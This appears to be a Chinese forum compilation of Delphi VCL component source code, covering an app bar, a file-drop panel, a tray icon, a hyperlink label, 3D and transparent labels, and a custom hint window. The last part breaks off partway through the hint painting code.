procedure TAppBar.SetEdge(const Value: TEdge);

begin

if (m_Edge <> Value) then

begin

m_Edge:= Value;

case m_Edge of

abeLeft:

m_ABD.uEdge:= ABE_LEFT;

abeTop:

m_ABD.uEdge:= ABE_TOP;

abeBottom:

m_ABD.uEdge:= ABE_BOTTOM;

abeRight:

m_ABD.uEdge:= ABE_RIGHT;

end;

ABSetPos();

end;

end;

//------------------------------------------------------------------------------

procedure TAppBar.WndProc(var Msg: TMessage);

begin

if (Msg.Msg = WM_APPBAR) then

begin

case Msg.wParam of

ABN_STATECHANGE, ABN_POSCHANGED:

ABPosChanged();

ABN_FULLSCREENAPP:

ABFullScreenApp(Msg.lParam <> 0);

end;

end;

if (Msg.Msg = WM_WINDOWPOSCHANGED) then

begin

SHAppBarMessage(ABM_WINDOWPOSCHANGED, m_ABD);

end;

if (Msg.Msg = WM_ACTIVATE) then

begin

SHAppBarMessage(ABM_ACTIVATE, m_ABD);

end;

// call the original WndProc

if Assigned(m_WndProc) then

m_WndProc(Msg);

end;

//------------------------------------------------------------------------------

procedure TAppBar.ABPosChanged;

var rc, rcWindow: TRect;

Height, Width: Integer;

begin

rc.Top:= 0;

rc.Left:= 0;

rc.Right:= GetSystemMetrics(SM_CXSCREEN);

rc.Bottom:= GetSystemMetrics(SM_CYSCREEN);

GetWindowRect(m_ABD.hWnd, rcWindow);

Height:= rcWindow.Top - rcWindow.Bottom;

Width:= rcWindow.Right - rcWindow.Left;

case m_ABD.uEdge of

ABE_TOP:

rc.Bottom:= rc.Top + Height;

ABE_BOTTOM:

rc.Top:= rc.Bottom - Height;

ABE_LEFT:

rc.Right:= rc.Left + Width;

ABE_RIGHT:

rc.Left:= rc.Right - Width;

end;

ABSetPos();

end;

//------------------------------------------------------------------------------

procedure TAppBar.ABFullScreenApp(Enabled: Boolean);

var State: Integer;

Flags: HWND;

begin

State:= SHAppBarMessage(ABM_GETSTATE, m_ABD);

if Enabled then

begin

if (State and ABS_ALWAYSONTOP) <> 0 then

Flags:= HWND_TOPMOST

else

Flags:= HWND_BOTTOM;

SetWindowPos(m_ABD.hWnd, Flags, 0, 0, 0, 0, SWP_NOMOVE or SWP_NOSIZE or SWP_NOACTIVATE);

end else

begin

if (State and ABS_ALWAYSONTOP) <> 0 then

SetWindowPos(m_ABD.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE or SWP_NOSIZE or SWP_NOACTIVATE);

end;

end;

//------------------------------------------------------------------------------

procedure TAppBar.ABSetAutoHide(Enabled: Boolean);

begin

if not (csDesigning in ComponentState) then

begin

if Enabled then m_ABD.lParam:= -1

else m_ABD.lParam:= 0;

if SHAppBarMessage(ABM_SETAUTOHIDEBAR, m_ABD) <> 0 then

raise Exception.Create(SysErrorMessage(GetLastError()));

end;

end;

//------------------------------------------------------------------------------

end.


一个文件拖放Panel

unit FileDropPan;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls;

type

TDragFileEvent = procedure (Sender: TComponent; FileList: TStrings) of object;

TAIFileDropPan = class(TPanel)

private

{ Private declarations }

FDragFileEvent: TDragFileEvent;

FAcceptFile: boolean;

procedure SetAcceptFile(const Value: boolean);

protected

{ Protected declarations }

FileList: TStringList;

public

{ Public declarations }

procedure WithDropFIles(var Msg: TMessage); message WM_DROPFILES;

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

{ Published declarations }

property OnDragFile :TDragFileEvent read FDragFileEvent write FDragFileEvent;

property AcceptFile: boolean read FAcceptFile write SetAcceptFile;

end;

procedure Register;

implementation

Uses ShellAPI;

procedure Register;

begin

RegisterComponents('Voice', [TAIFileDropPan]);

end;

constructor TAIFileDropPan.Create(AOwner: TComponent);

begin

Inherited Create(AOwner);

parent := AOwner As TWinControl;

AcceptFile := true;

FileList := TStringList.Create;

end;

destructor TAIFileDropPan.Destroy;

begin

if parent <> nil then

if AcceptFile then AcceptFile := false;

FileList.Free;

inherited;

end;

procedure TAIFileDropPan.SetAcceptFile(const Value: boolean);

begin

FAcceptFile := Value;

DragAcceptFiles(Handle, FAcceptFile);

end;

procedure TAIFileDropPan.WithDropFIles(var Msg: TMessage);

Var

Buffer: Array[0..255] of Char;

count: Integer;

intX: Integer;

begin

count := DragQueryFile( Msg.WParam, $FFFFFFFF, Buffer, 255);

FileList.Clear;

for intX := 0 to count-1 do

begin

DragQueryFile( Msg.WParam, intX, Buffer, 255);

FileList.Add( Buffer);

end;

DragFinish( Msg.WParam);

if Assigned(FDragFileEvent) then

FDragFileEvent(Self, FileList);

end;

end.

我写的控件，从Panel继承过来的。能够接收拖放的文件，上面放置的其他控件也能接收文件。


TrayIcon控件

--回复得分 0 --

1、虽然在Delphi中把窗口的属性BorderStyle设为bsNone可以

让标题栏消失，但同时窗口却不能缩放了，下面这段代码可以使你

鱼和熊掌兼得：

procedure TForm1.FormCreate(Sender: TObject);

begin

SetWindowLong(Handle,GWL_STYLE, GetWindowLong(Handle,GWL_STYLE)

AND NOT WS_CAPTION);

ClientHeight := Height;

end;

2、TNotifyIcon 控件1.01 (Build use Delphi 3.0) 说明:

作用:

往通知区加图标,并可显示,隐藏,修改这个图标.

属性(properties):

NotifyIcon:TIcon 欲加在通知区的图标

IsVisible:boolean NotifyIcon是否显示的属性

Title:string 通知区图标上的提示(最多64个字符)

PopupMenu:TPopupMenu 点击通知区图标弹出的菜单

PopupStyle:TPopupStyle 弹出菜单的方式

TPopupStyle=Set of (Left_Click,Right_Click,Left_DbClick,Right_DbClick);

方法(methods):

ShowIcon 将图标显示在通知区上

HideIcon 将通知区上的图标隐藏

ModifyIcon 修改通知区上的图标(若IsVisible=false,则不显示出来)

Create(AOwner: TComponent); override; 构造方法

Destroy; override; 析构方法

事件(Events):

OnIconMouseDown:

procedure(Sender:TObject;x,y:Word;WhoButton:TWhoButton) of Object;

(

在Mouse点击通知区上的图标时发生,x,y为Mouse在屏幕上的坐标,

WhoButton=b_Left为点击左键,WhoButton=b_Right为点击右键,

)

OnIconDoubleClick:

procedure(Sender:TObject;x,y:Word;WhoButton:TWhoButton) of Object;

(

在Mouse双击通知区上的图标时发生,x,y为Mouse在屏幕上的坐标,

WhoButton=b_Left为双击左键,WhoButton=b_Right为双击右键,

)

关于Demo:

这个演示程序给出了TNotifyIcon的基本用法.

包含文件:

NotifyIcon.dcr

NotifyIcon.pas

DemoUnit.pas

DemoUnit.dfm

PopUnit.pas

PopUnit.dfm

Demo.dpr

Readme.txt

声明:

TNotifyIcon 控件 V 1.01

1.这是一个免费控件.

2.如果你使用它,请发一个E-Mail给作者,谢谢.

3我在Delphi3.0 & 4.0 上使用成功

4.若要传播它,请完全分发上述8个文件

作者 南昌大学计算系95(1) 付昱纲 1998.8.17 21:50

E-mail fyg@163.net

unit NotifyIcon;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

DsgnIntf,ShellApi,ExtCtrls,Menus;

const

WM_MY_Notify=WM_USER+100;

type

TPopupStyle=Set of (Left_Click,Right_Click,Left_DbClick,Right_DbClick);

TWhoButton=(b_Left,b_Right);

TMouseEvent=

procedure(Sender:TObject;x,y:Word;WhoButton:TWhoButton)

of Object;

//---------class TNotifyIcon---------

TNotifyIcon = class(TCustomControl)

private

{ Private declarations }

FIcon:TIcon;

FPda:PNOTIFYICONDATA;

FTitle:string;

FIconVisible:boolean;

FPopupMenu:TPopupMenu;

FPopupStyle:TPopupStyle;

FOnIconMouseDown:TMouseEvent;

FOnIconDoubleClick:TMouseEvent;

procedure SetIcon(Icon:TICON);

procedure SetTitle(NewTitle:string);

function IsShowing:boolean;

procedure ShowIt(Accept:boolean);

procedure NotifyIconClick(var msg : TMessage);

Message WM_My_Notify;

protected

{ Protected declarations }

public

{ Public declarations }

property IsVisible:boolean read IsShowing write ShowIt;

constructor Create(AOwner: TComponent); override;

procedure ShowIcon;

procedure HideIcon;

destructor Destroy; override;

procedure ModifyIcon(NewIcon:TIcon);

procedure Paint;override;

published

{ Published declarations }

property Height default 33;

property Width default 33;

property NotifyIcon:TIcon read FIcon write SetIcon;

property Title:string read FTitle write SetTitle ;

property OnIconDoubleClick:TMouseEvent

read FOnIconDoubleClick write FOnIconDoubleClick;

property OnIconMouseDown:TMouseEvent

read FOnIconMouseDown write FOnIconMouseDown;

property PopupMenu:TPopupMenu read FPopupMenu write FPopupMenu;

property PopupStyle:TPopupStyle read FPopupStyle

write FPopupStyle default [];

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('MyControl', [TNotifyIcon]);

end;

procedure TNotifyIcon.ShowIt(Accept:boolean);

begin

if Accept=true then ShowIcon

else HideIcon;

end;

procedure TNotifyIcon.Paint;

begin

if (csDesigning in ComponentState) then

begin

Width:=33;

Height:=33;

With Canvas do

begin

Brush.Color:=clInfoBk;

Ellipse(0,0,Self.Width,Self.Height);

Font.Color:=clBlue;

Brush.Style:=bsClear;

FloodFill(5,5,clInfoBk,fsBorder);

Brush.Color:=clInfoBk;

TextOut(3,Self.Height div 2-6,'Notify');

end

end;

end;

procedure TNotifyIcon.NotifyIconClick(var msg : TMessage);

var p:TPoint;

begin

try

case msg.LParam of

WM_LBUTTONDOWN:

begin

GetCursorPos(p);

if Left_Click in FPopupStyle then

begin

SetForegroundWindow(ParentWindow);

FPopupMenu.Popup(p.x,p.y);

end;

if Assigned(FOnIconMouseDown) then

begin

FOnIconMouseDown(Self,p.x,p.y,b_Left);

end;

end;

WM_RBUTTONDOWN:

begin

GetCursorPos(p);

if Right_Click in FPopupStyle then

begin

SetForegroundWindow(ParentWindow);

FPopupMenu.Popup(p.x,p.y);

end;

if Assigned(FOnIconMouseDown) then

begin

FOnIconMouseDown(Self,p.x,p.y,b_Right);

end;

end;

WM_LBUTTONDBLCLK:

begin

GetCursorPos(p);

if Left_DbClick in FPopupStyle then

begin

SetForegroundWindow(ParentWindow);

FPopupMenu.Popup(p.x,p.y);

end;

if Assigned(FOnIconDoubleClick) then

begin

FOnIconDoubleClick(Self,p.x,p.y,b_Left);

end;

end;

WM_RBUTTONDBLCLk:

begin

GetCursorPos(p);

if Right_Click in FPopupStyle then

begin

SetForegroundWindow(ParentWindow);

FPopupMenu.Popup(p.x,p.y);

end;

if Assigned(FOnIconDoubleClick) then

begin

FOnIconDoubleClick(Self,p.x,p.y,b_Right);

end;

end;

end;

except

end;

end;

function MAKELANGID(p, s:word):Cardinal;

begin

result:= (((s)shl 10) or(p));

end;

constructor TNotifyIcon.Create(AOwner: TComponent);

begin

try

inherited Create(AOwner);

FIcon:=TIcon.Create;

Height:=36;

Width:=36;

Visible:=false;

FTitle:='Welcome';

FIconVisible:=false;

//-------------set tray info---------

ParentWindow:=TWinControl(AOwner).Handle;

New(Fpda);

With FPda^ do

begin

uCallbackMessage:=WM_MY_Notify;

cbsize:=SizeOf(FPda^);

uID:=200;

wnd:=Handle;

uFlags:=NIF_ICON+NIF_Tip+NIF_MESSAGE;

end;

if (csDesigning in ComponentState) then

begin

if GetUserDefaultLCID = MAKELANGID(LANG_CHINESE,SUBLANG_CHINESE_SIMPLIFIED) then

Application.MessageBox(

'Write by 南昌大学 付昱纲'#13#13'E-mail:fyg@163.net'#13#13' 1998.8.17',

'TNotifyIcon 控件 V 1.01',MB_OK+ MB_ICONINFORMATION)

else

Application.MessageBox(

'Write by NanChang University FuYuGang'#13#13'E-mail:fyg@163.net'#13#13' 1998.8.17',

'TNotifyIcon Component V 1.01',MB_OK+ MB_ICONINFORMATION);

end;

except

ShowMessage('TNotifyIcon Create error');

end;

end;

procedure TNotifyIcon.SetIcon(Icon:TICON);

begin

FIcon.Assign(Icon);

end;

procedure TNotifyIcon.ShowIcon;

begin

try

if FIcon.Handle=0 then

begin

Exit;

end;

if FIcon.Handle<>FPda^.hIcon then

HideIcon;

if FIconVisible=false then

begin

FPda^.hIcon:=FIcon.handle;

FIconVisible:=true;

Shell_NotifyIcon(NiM_ADD,FPda);

end;

except

ShowMessage('TNotifyIcon Show Error ');

end;

end;

procedure TNotifyIcon.HideIcon;

begin

try

if FIconVisible then

begin

FIconVisible:=false;

Shell_NotifyIcon(NiM_DELETE,FPda);

end;

except

ShowMessage('TNotifyIcon Hide Error');

end;

end;

procedure TNotifyIcon.SetTitle(NewTitle:string);

begin

FTitle:=NewTitle;

StrCopy(FPda^.szTip,PChar(FTitle));

if FIconVisible then

begin

HideIcon;

ShowIcon;

end;

end;

destructor TNotifyIcon.Destroy;

begin

try

HideIcon;

Dispose(FPda);

FIcon.Free;

inherited Destroy;

except

ShowMessage('TNotifyIcon Destroy Error');

end;

end;

procedure TNotifyIcon.ModifyIcon(NewIcon:TIcon);

begin

try

SetIcon(NewIcon);

FPda^.hIcon:=FIcon.handle;

if FIconVisible then

Shell_NotifyIcon(NiM_Modify,FPda);

except

ShowMessage('TNotifyIcon Modify Error');

end;

end;

function TNotifyIcon.IsShowing:boolean;

begin

Result:=FIconVisible;

end;

end.

--回复得分 0 --

Firing_sky 说得很详细了，但是要做通知栏的图标也很简单，应用几个函数（自己写），

InstallIcon,UnInstallIcon,IconClick.

下面是他们的简单实例：

安装图表：

procedure TForm1.InstallIcon;

var

CDIcon:TNotifyICondata;

begin

normalIcon:=TIcon.Create;

normalIcon:=form1.Icon;

CDIcon.cbSize:=sizeof(CDIcon);

CDIcon.Wnd:=handle;

CDIcon.uID:=ICON_ID;

CDIcon.uFlags:= NIF_ICON or NIF_MESSAGE or NIF_TIP;

CDIcon.uCallbackMessage:=MI_ICONEVENT;

CDIcon.hIcon:=normalicon.Handle;

CDIcon.szTip:='光驱控制';

Shell_NotifyIcon(NIM_ADD,@CDIcon);

end;

卸载图标：

procedure TForm1.UnInstallIcon;

var

CDIcon:TNotifyIconData;

begin

CDIcon.cbSize:=sizeof(CDIcon);

CDIcon.Wnd:=Handle;

CDIcon.uID:=ICON_ID;

Shell_NotifyIcon(NIM_DELETE,@CDIcon);

// normalIcon.Free;

end;

响应click事件：

procedure TForm1.IconOnClick(var message:TMessage);

var

p:TPoint;

begin

if (message.LParam=WM_LBUTTONDBLCLK) then

ShowWindow(handle,SW_SHOW);

if (message.LParam=WM_RBUTTONDOWN) then

begin

GetCursorPos(p);

pop1.Popup(p.x,p.y);

end;

end;


一个超级连接控件

unit HyperLabel;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Shellapi, StdCtrls;

type

THyperLabel = class(TLabel)

private

{ Private declarations }

FHoverFont: TFont;

FHoverColor: TColor;

FHoverCursor: TCursor;

FOldCursor: TCursor;

FOldFont: TFont;

FOldColor: TColor;

FOldScreenCursor: TCursor;

FOnMouseEnter: TNotifyEvent;

FonMouseLeave: TNotifyEvent;

FURL: string;

FHCursor: HCURSOR;

procedure FSetHoverFont(value: TFont);

procedure FSetHoverColor(value: TColor);

procedure FSetOnMouseLeave(value: TNotifyEvent);

procedure FSetOnMouseEnter(value: TNotifyEvent);

procedure FSetHoverCursor(value: TCursor);

procedure FSetURL(value: string);

protected

{ Protected declarations }

procedure cmmouseenter(var Msg: TMessage); message CM_MOUSEENTER;

procedure cmmouseleave(var msg: TMessage); message CM_MOUSELEAVE;

public

{ Public declarations }

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

procedure Click; override;

published

{ Published declarations }

property URL: string read FURL write FSetURL;

property HoverFont: TFont read FHoverFont write FSetHoverFont;

property HoverColor: TColor read FHoverColor write FSetHoverColor stored true default clBtnFace;

property HoverCursor: TCursor read FHoverCursor write FSetHoverCursor stored true default crHandPoint;

property OnMouseEnter: TNotifyEvent read FOnMouseEnter write FSetOnMouseEnter;

property OnMouseLeave: TNotifyEvent read FonMouseLeave write FSetOnMouseLeave;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Samples', [THyperLabel]);

end;

{ THyperLabel }

procedure THyperLabel.Click;

var

Temp: string;

begin

inherited;

Temp := Copy(FURL, 1, 5);

if UpperCase(Temp) = 'HTTP:' then

ShellExecute(Parent.Handle, 'open', 'explorer.exe', pchar(FURL), nil, SW_SHOW)

else

ShellExecute(Parent.Handle, 'open', pchar(FURL), nil, nil, SW_SHOW);

end;

procedure THyperLabel.cmmouseenter(var Msg: TMessage);

begin

FOldFont.Assign(Font);

Font.Assign(FHoverFont);

FOldColor := Color;

Color := FHoverColor;

FOldCursor := Cursor;

FHCursor := LoadCursor(0, IDC_HAND);

FOldScreenCursor := Screen.Cursors[crHandPoint];

Screen.Cursors[crHandPoint] := FHCursor;

Cursor := crHandPoint;

if Assigned(FOnMouseEnter) then

FOnMouseEnter(Self);

end;

procedure THyperLabel.cmmouseleave(var Msg: TMessage);

begin

Font.Assign(FOldFont);

Color := FOldColor;

DestroyCursor(FHCursor);

Screen.Cursors[crHandPoint] := FOldScreenCursor;

Cursor := FOldCursor;

if Assigned(FonMouseLeave) then

FOnMouseLeave(Self);

end;

constructor THyperLabel.Create(AOwner: TComponent);

begin

inherited;

URL := 'mailto:Kingron@163.net';

FHoverFont := TFont.Create;

FOldFont := TFont.Create;

FHoverFont.Assign(Font);

FHoverFont.Color := clBlue;

FHoverFont.Style := FHoverFont.Style + [fsUnderLine];

FHoverColor := clBtnFace;

FHoverCursor := crHandPoint;

end;

destructor THyperLabel.Destroy;

begin

FHoverFont.Free;

FOldFont.Free;

inherited;

end;

procedure THyperLabel.FSetHoverColor(value: TColor);

begin

if FHoverColor <> value then

FHoverColor := value;

end;

procedure THyperLabel.FSetHoverCursor(value: TCursor);

begin

if value <> FHoverCursor then

FHoverCursor := value;

end;

procedure THyperLabel.FSetHoverFont(value: TFont);

begin

FHoverFont.Assign(value);

end;

procedure THyperLabel.FSetOnMouseEnter(value: TNotifyEvent);

begin

if @FOnMouseEnter <> @value then

FOnMouseEnter := Value;

end;

procedure THyperLabel.FSetOnMouseLeave(value: TNotifyEvent);

begin

if @FonMouseLeave <> @value then

FonMouseLeave := value;

end;

procedure THyperLabel.FSetURL(value: string);

begin

if Uppercase(value) <> Uppercase(FURL) then

FURL := value;

end;

end.


3DLalel

unit mylabel;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TtdLabel = class(TLabel)

private

{ Private declarations }

procedure Draw3dText(R: TRect);

protected

{ Protected declarations }

procedure paint; override;

public

{ Public declarations }

published

{ Published declarations }

end;

procedure Register;

implementation

procedure Ttdlabel.Draw3dText(R: trect);

var

CaptionStz : array[0..255] of Char;

TempRct : TRect;

Flags : word;

begin

with Canvas do

begin

StrPCopy(CaptionStz, Caption);

if WordWrap then

Flags := dt_WordBreak;

Font := Self.Font;

TempRct := R;

OffsetRect(TempRct, 1, 1);

Font.Color := clBtnShadow;

DrawText(Handle, CaptionStz, -1, TempRct, Flags);

TempRct := R;

OffsetRect(TempRct, -1, -1);

Canvas.Font.Color := clBtnHighLight;

DrawText(Handle, CaptionStz, -1, TempRct, Flags);

Font.Color := Self.Font.Color;

if not Enabled then

Font.Color := clGrayText;

DrawText(Handle, CaptionStz, -1, R, Flags);

end;

end;

procedure ttdlabel.paint;

begin

with Canvas do

begin

if not Transparent then

begin

Brush.Color := Self.Color;

Brush.Style := bsSolid;

FillRect(ClientRect);

end;

Brush.Style := bsClear;

Draw3DText(ClientRect);

end;

end;

procedure Register;

begin

RegisterComponents('Additional', [TtdLabel]);

end;

end.


透明Label

这里有个控件的源代码，非常好用，可惜焦点在这个控件上时不透明，你可以试着改一下。

unit RbsWiredEdit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

const

TWM_RbsInvalidate=WM_USER+1;

type

TRbsWiredEdit = class(TEdit)

private

{ Private declarations }

procedure RbsInvalidate(var Message:TMessage); message

TWM_RbsInvalidate;

procedure CNCTLCOLOREDIT(var Message:TWMCTLCOLOREDIT); message

CN_CTLCOLOREDIT;

procedure WMEraseBkgnd(var Message: TWMEraseBkgnd); message WM_ERASEBKGND;

procedure WMMove(var Message: TMessage); message WM_MOVE;

protected

{ Protected declarations }

FTransparent: boolean;

procedure CreateWnd; override;

procedure CreateParams(var Params: TCreateParams); override;

procedure DoExit; override;

procedure DoEnter; override;

public

{ Public declarations }

constructor Create(AOwner: TComponent); override;

procedure Invalidate; override;

published

{ Published declarations }

end;

procedure Register;

implementation

constructor TRbsWiredEdit.Create(AOwner:TComponent);

begin

inherited create(AOwner);

ftransparent:=true;

end;

procedure TRbsWiredEdit.CreateWnd;

begin

inherited CreateWnd;

if fTransparent then

begin

SetWindowLong(Parent.Handle, GWL_STYLE,

GetWindowLong(Parent.Handle, GWL_STYLE) and not WS_CLIPCHILDREN);

end;

end;

procedure TRbsWiredEdit.RbsInvalidate(var Message:TMessage);

var r:TRect;

begin

if (Parent<>nil) and FTransparent then

begin

r:=ClientRect;

r.TopLeft:=Parent.ScreenToClient(ClientToScreen(r.TopLeft));

r.BottomRight:=Parent.ScreenToClient(ClientToScreen(r.BottomRight));

RedrawWindow(Handle,nil,0,RDW_FRAME+RDW_INVALIDATE);

end;

end;

procedure TRbsWiredEdit.CNCTLCOLOREDIT(var Message:TWMCTLCOLOREDIT);

begin

if FTransparent then

with Message do

begin

SetBkMode(ChildDC,Windows.TRANSPARENT);

Result:=GetStockObject(HOLLOW_BRUSH)

end

else inherited;

end;

procedure TRbsWiredEdit.WMEraseBkgnd(var Message:TWMERASEBKGND);

begin

if FTransparent and not (csDesigning in ComponentState) then

PostMessage(Handle,TWM_RbsInvalidate,0,0)

else inherited;

end;

procedure TRbsWiredEdit.WMMove(var message:TMessage);

begin

inherited;

if FTransparent then SendMessage(Handle,TWM_RbsInvalidate,0,0)

else Invalidate;

end;

procedure TRbsWiredEdit.CreateParams(var Params:TCreateParams);

begin

inherited CreateParams(Params);

if (CsDesigning in ComponentState) then exit;

with Params do

begin

ExStyle:=ExStyle or WS_EX_TRANSPARENT;

end;

end;

procedure TRbsWiredEdit.DoExit;

begin

inherited;

FTransparent:=true;

SetCursor(0);

RecreateWnd;

end;

procedure TRbsWiredEdit.DoEnter;

var exstyle,stdstyle:longint;

begin

inherited;

Ftransparent:=false;

StdStyle:= Windows.GetWindowLong(handle, GWL_EXSTYLE);

exStyle:= StdStyle and not WS_EX_TRANSPARENT;

Windows.SetWindowLong(handle, GWL_EXSTYLE, exStyle);

invalidate;

end;

procedure TRbsWiredEdit.Invalidate;

begin

if FTransparent then SendMessage(Handle,TWM_RbsInvalidate,0,0)

else inherited;

end;

procedure Register;

begin

RegisterComponents('Rombest', [TRbsWiredEdit]);

end;

end.


一个Hint控件

unit Danhint;

interface

uses

SysUtils, Windows, Messages, Classes, Graphics, Controls,

Forms, Dialogs;

type

THintDirection=(hdUpRight,hdUpLeft,hdDownRight,hdDownLeft);

TOnSelectHintDirection=procedure(HintControl:TControl;var HintDirection:THintDirection) of object;

TDanHint = class(TComponent)

private

{ Private declarations }

FHintDirection:THintDirection;

FHintColor:TColor;

FHintShadowColor:TColor;

FHintFont:TFont;

FHintPauseTime:Integer;

FOnSelectHintDirection:TOnSelectHintDirection;

procedure SetHintDirection(Value:THintDirection);

procedure SetHintColor(Value:TColor);

procedure SetHintShadowColor(Value:TColor);

procedure SetHintFont(Value:TFont);

procedure CMFontChanged(var Message:TMessage); message CM_FONTCHANGED;

procedure SetHintPauseTime(Value:Integer);

protected

{ Protected declarations }

public

{ Public declarations }

constructor Create(AOwner:TComponent);override;

destructor Destroy;override;

procedure Loaded;override;

procedure SetNewHintFont;

published

{ Published declarations }

property HintDirection:THintDirection read FHintDirection write SetHintDirection default hdUpRight;

property HintColor:TColor read FHintColor write SetHintColor default clYellow;

property HintShadowColor:TColor read FHintShadowColor write SetHintShadowColor default clPurple;

property HintFont:TFont read FHintFont write SetHintFont;

property HintPauseTime:Integer read FHintPauseTime write SetHintPauseTime default 600;

property OnSelectHintDirection:TOnSelectHintDirection read FOnSelectHintDirection write FOnSelectHintDirection;

end;

TNewHint = class(THintWindow)

private

{ Private declarations }

FDanHint:TDanHint;

FHintDirection:THintDirection;

procedure SelectProperHintDirection(ARect:TRect);

procedure CheckUpRight(Spot:TPoint);

procedure CheckUpLeft(Spot:TPoint);

procedure CheckDownRight(Spot:TPoint);

procedure CheckDownLeft(Spot:TPoint);

function FindDanHint:TDanHint;

function FindCursorControl:TControl;

protected

{ Protected declarations }

procedure Paint;override;

procedure CreateParams(var Params: TCreateParams);override;

public

{ Public declarations }

constructor Create(AOwner:TComponent);override;

destructor Destroy;override;

procedure ActivateHint(Rect: TRect; const AHint: string);override;

property HintDirection:THintDirection read FHintDirection write FHintDirection default hdUpRight;

published

{ Published declarations }

end;

procedure Register;

implementation

const

SHADOW_WIDTH=6;

N_PIXELS=5;

var

MemBmp:TBitmap;

UpRect,DownRect:TRect;

SelectHintDirection:THintDirection;

ShowPos:TPoint;

procedure Register;

begin

RegisterComponents('ActiveX', [TDanHint]);

end;

procedure TDanHint.SetNewHintFont;

var

I:Integer;

begin

for I:=0 to Application.ComponentCount-1 do

if Application.Components[I] is TNewHint then

begin

TNewHint(Application.Components[I]).Canvas.Font.Assign(FHintFont);

Exit;

end;

end;

constructor TDanHint.Create(AOwner:TComponent);

begin

inherited Create(AOwner);

FHintDirection:=hdUpRight;

FHintColor:=clYellow;

{ $0080FFFF is Delphi's original setting }

FHintShadowColor:=clPurple;

FHintPauseTime:=600;

Application.HintPause:=FHintPauseTime;

FHintFont:=TFont.Create;

FHintFont.Name:='MS Sans Serif';

FHintFont.Size:=12;

FHintFont.Color:=clBlue;

FHintFont.Pitch:=fpDefault;

FHintFont.Style:=FHintFont.Style+[fsBold,fsItalic];

if not (csDesigning in ComponentState) then

begin

HintWindowClass:=TNewHint;

Application.ShowHint:=not Application.ShowHint;

Application.ShowHint:=not Application.ShowHint;

{ in TApplication's SetShowHint, the private

FHintWindow is allocated according to

HintWindowClass, so here do so actions to

call SetShowHint and keep ShowHint property

the same value }

SetNewHintFont;

end;

end;

destructor TDanHint.Destroy;

begin

FHintFont.Free;

inherited Destroy;

end;

procedure TDanHint.Loaded;

begin

if not (csDesigning in ComponentState) then

begin

inherited Loaded;

HintWindowClass:=TNewHint;

Application.ShowHint:=not Application.ShowHint;

Application.ShowHint:=not Application.ShowHint;

{ to activate to allocate a new Hint Window }

SetNewHintFont;

end;

end;

procedure TDanHint.SetHintDirection(Value:THintDirection);

begin

FHintDirection:=Value;

end;

procedure TDanHint.SetHintColor(Value:TColor);

begin

FHintColor:=Value;

end;

procedure TDanHint.SetHintShadowColor(Value:TColor);

begin

FHintShadowColor:=Value;

end;

procedure TDanHint.SetHintFont(Value:TFont);

begin

FHintFont.Assign(Value);

Application.ShowHint:=not Application.ShowHint;

Application.ShowHint:=not Application.ShowHint;

{ to activate to allocate a new Hint Window }

SetNewHintFont;

end;

procedure TDanHint.CMFontChanged(var Message:TMessage);

begin

inherited;

Application.ShowHint:=not Application.ShowHint;

Application.ShowHint:=not Application.ShowHint;

{ to activate to allocate a new Hint Window }

SetNewHintFont;

end;

procedure TDanHint.SetHintPauseTime(Value:Integer);

begin

if (Value<>FHintPauseTime) then

begin

FHintPauseTime:=Value;

Application.HintPause:=Value;

end;

end;

function TNewHint.FindDanHint:TDanHint;

var

I:Integer;

begin

Result:=nil;

for I:=0 to Application.MainForm.ComponentCount-1 do

if Application.MainForm.Components[I] is TDanHint then

begin

Result:=TDanHint(Application.MainForm.Components[I]);

Exit;

end;

end;

constructor TNewHint.Create(AOwner:TComponent);

begin

inherited Create(AOwner);

{if (Application<>nil) and (Application.MainForm<>nil) then

FDanHint:=FindDanHint;}

ControlStyle:=ControlStyle-[csOpaque];

with Canvas do

begin

{ Font.Name:='MS Sans Serif';

Font.Size:=10;}

{if (FDanHint<>nil) then Font.Assign(FDanHint.HintFont);}

Brush.Style:=bsClear;

Brush.Color:=clBackground;

Application.HintColor:=clBackground;

end;

FHintDirection:=hdUpRight;

end;

destructor TNewHint.Destroy;

begin

inherited Destroy;

end;

procedure TNewHint.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

with Params do

begin

{Style := WS_POPUP or WS_BORDER or WS_DISABLED;}

Style := Style-WS_BORDER;

{ExStyle:=ExStyle or WS_EX_TRANSPARENT;}

{Add the above makes the beneath window overlap hint}

WindowClass.Style := WindowClass.Style or CS_SAVEBITS;

end;

end;

procedure TNewHint.Paint;

var

R: TRect;

CCaption: array[0..255] of Char;

FillRegion,ShadowRgn:HRgn;

AP:array[0..2] of TPoint; { Points of the Arrow }

SP:array[0..2] of TPoint; { Points of the Shadow }

X,Y:Integer;

AddNum:Integer; { Added num for hdDownXXX }

begin

R := ClientRect;

{ R is for Text output }

Inc(R.Left,5+3);

Inc(R.Top,3);

AddNum:=0;

if FHintDirection>=hdDownRight then AddNum:=15;

Inc(R.Top,AddNum);

case HintDirection of

hdUpRight:begin

AP[0]:=Point(10,Height-15);

AP[1]:=Point(20,Height-15);

AP[2]:=Point(0,Height);

SP[0]:=Point(12,Height-15);

SP[1]:=Point(25,Height-15);

SP[2]:=Point(12,Height);

end;

hdUpLeft:begin

AP[0]:=Point(Width-SHADOW_WIDTH-20,Height-15);

AP[1]:=Point(Width-SHADOW_WIDTH-10,Height-15);

AP[2]:=Point(Width-SHADOW_WIDTH,Height);

SP[0]:=Point(Width-SHADOW_WIDTH-27,Height-15);

SP[1]:=Point(Width-SHADOW_WIDTH-5,Height-15);

SP[2]:=Point(Width-SHADOW_WIDTH,Height);

end;

hdDownRight:begin

AP[0]:=Point(10,15);

AP[1]:=Point(20,15);

AP[2]:=Point(0,0);

{ for hdDownXXX, SP not used now }

SP[0]:=Point(12,Height-15);

SP[1]:=Point(25,Height-15);

SP[2]:=Point(12,Height);

end;

hdDownLeft:begin

